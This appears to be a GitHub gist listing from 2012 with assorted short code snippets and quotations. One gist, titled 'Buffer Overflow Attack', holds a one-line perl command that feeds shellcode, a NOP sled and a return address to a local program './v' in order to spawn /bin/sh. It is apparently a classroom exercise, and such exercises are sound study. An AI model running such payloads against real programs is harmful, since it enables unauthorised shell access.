Skip to content

Instantly share code, notes, and snippets.

View BinRoot's full-sized avatar

Nishant Shukla BinRoot

View GitHub Profile
@BinRoot
BinRoot / gist:3220608
Created July 31, 2012 21:10
Result(s)
numResults = totalResults + (totalResults==1 ? " result" : " results");
@BinRoot
BinRoot / gist:3278903
Created August 6, 2012 22:09
Lambda Sum
private int CountKeys(IEnumerable<IProductKey> keyInfos)
{
return keyInfos.Sum(keyInfo => keyInfo.ClaimedProductKeyCount);
}
@BinRoot
BinRoot / gist:3711202
Created September 13, 2012 01:22
Buffer Overflow Attack
./v `perl -e 'print "\x55\x89\xe5\x53\x83\xec\x04\xa1\x14\x9f\x04\x08\x83\xf8\xff\x74\x13\xbb\x14\x9f\x04\x08\x66\x90\x83\xeb\x04\xff\xd0\x8b\x03\x83\xf8\xff\x75\xf4\x83\xc4\x04\x5b\x5d\xc3\xe8\xd1\x2f\x62\x69\x6e\x2f\x73\x68\x3b" . "\x90"x20 . "\x64\xd3\xff\xff"'`
@BinRoot
BinRoot / gist:3823629
Created October 2, 2012 22:08
MyServer.java
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.SocketException;
public class MyServer {
public static void main(String [] args) {
@BinRoot
BinRoot / thinkpad.quote
Created October 7, 2012 18:58
Thinkpad
Devoid of superfluous ornamentation,
ThinkPad is the enemy of trendiness, design cliches, fleeting fashion, or competitive emulation.
Instead, it is the embodiment of an original and authentic idea.
It has become an icon, or symbol, of ultimate portable computing and success.
Few have dared to mimic this hallmark design.
- David Hill, Vice President of Design for Lenovo
@BinRoot
BinRoot / welcome.cgi
Created October 13, 2012 22:47
UVa Wireless
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>ITS Network Setup</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="author" content="ITS" />
<meta name="copyright" content="Copyright (c) 2007 by UVa" />
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache" />
<META HTTP-EQUIV="Expires" CONTENT="0" />
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache" />
@BinRoot
BinRoot / lol.txt
Created October 18, 2012 16:52
Team 4 - University of Virginia
We're pretty cool guys hacking away everyday all the way everywhere.
Follow Puneet on reddit.com/r/puneet
Follow Jasdev at @justdavesingh
Follow Nishant at shuklan.com
@BinRoot
BinRoot / matrix.nb
Created October 22, 2012 17:58
Sampling covariance submatrices
Transpose[Transpose[randMat[[samples]]][[samples]]];
@BinRoot
BinRoot / information.quote
Created October 28, 2012 23:39
Information Theory
There is uncertainty before the event occurs,
there is surprise during the occurrence of the event,
and there is information after the event takes place.
- William B. Levy, Laboratory of Systems Neurodynamics at the University of Virginia
(Paraphrasing Hamming's discussion on Information Theory)
@BinRoot
BinRoot / stress.quote
Created November 11, 2012 06:33
Stress
Not knowing is terrifying; every unresolved job application is a psychic weight,
a steel ball-bearing we carry around in our skulls all day.
- Sam Bleckley